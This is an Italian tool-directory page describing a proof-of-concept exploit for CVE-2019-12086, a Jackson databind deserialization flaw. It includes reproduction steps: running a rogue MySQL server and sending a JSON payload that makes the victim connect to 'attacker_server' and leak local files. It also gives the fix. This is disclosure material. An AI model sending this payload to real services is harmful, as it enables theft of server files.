Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-12086-jackson-databind-file-read — Exploit proof-of-concept per CVE-2019-12086: vulnerabilità di deserializzazione in Jackson databind che consente la lettura arbitraria di file tramite un server MySQL rogue quando Default Typing è abilitato. | Kitploit
Strumenti/GitHubGitHub/motoyasu-saburi/cve-2019-12086-jackson-databind-file-read
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubmotoyasu-saburi/cve-2019-12086-jackson-databind-file-read

CVE-2019-12086-jackson-databind-file-read

Exploit proof-of-concept per CVE-2019-12086: vulnerabilità di deserializzazione in Jackson databind che consente la lettura arbitraria di file tramite un server MySQL rogue quando Default Typing è abilitato.

Vedi Repository
12117 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

jackson-CVE-2019-12086

Descrizione della vulnerabilità

Con Default Typing abilitato e con mysql-connector-java 8.0.15 (rilasciato il 2019.2.1) o versioni precedenti nel classpath, un attaccante può leggere file arbitrari inviando dati JSON malevoli. La libreria mysql-connector-java è il JDBC di MySQL comunemente usato per connettersi al database.

La descrizione della CVE è la seguente:

È stato scoperto un problema di tipizzazione polimorfica in FasterXML jackson-databind 2.x prima della 2.9.9. Quando Default Typing è abilitato (globalmente o per una proprietà specifica) per un endpoint JSON esposto esternamente, il servizio ha il jar mysql-connector-java (8.0.14 o precedente) nel classpath, e un attaccante può ospitare un server MySQL malevolo raggiungibile dalla vittima, può inviare un messaggio JSON appositamente creato che gli consente di leggere file locali arbitrari sul server. Ciò si verifica a causa della mancanza di validazione di com.mysql.cj.jdbc.admin.MiniAdmin.

Analisi della vulnerabilità

Dettagli della vulnerabilità:

  1. Con Default Typing abilitato, durante la deserializzazione di JSON, Jackson può deserializzare una classe specificata e può specificare un valore di un tipo base come argomento del costruttore di quella classe.
  2. Il costruttore di com.mysql.cj.jdbc.admin.MiniAdmin accetta un valore stringa che rappresenta un JDBC URL; la classe com.mysql.cj.jdbc.admin.MiniAdmin, durante l'inizializzazione, si connette al database MySQL specificato da questo JDBC URL.
  • Con mysql-connector-java 8.0.15 (rilasciato il 2019.2.1) o versioni precedenti, un server MySQL malevolo può leggere file locali arbitrari del client MySQL, dando origine alla vulnerabilità.
  • Riproduzione della vulnerabilità

    1. Avvia un server MySQL malevolo: https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

    python rogue_mysql_server.py

    1. Osserva il file mysql.log nella stessa directory:

    tail -f mysql.log

    1. Invia all'applicazione vulnerabile il seguente JSON:

    ["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

    1. Quando Jackson deserializza la stringa JSON malevola, si connette al server MySQL malevolo e il contenuto del file letto viene scritto nel mysql.log del server malevolo.
    root@kitploit:~
    # edit IP & Port at the payload  "./volume/src/main/java/poc/Main.java".
    $ docker build . 
    

    Correzione della vulnerabilità

    Aggiorna Jackson alla versione 2.9.9 o successiva.

    Scarica lo strumento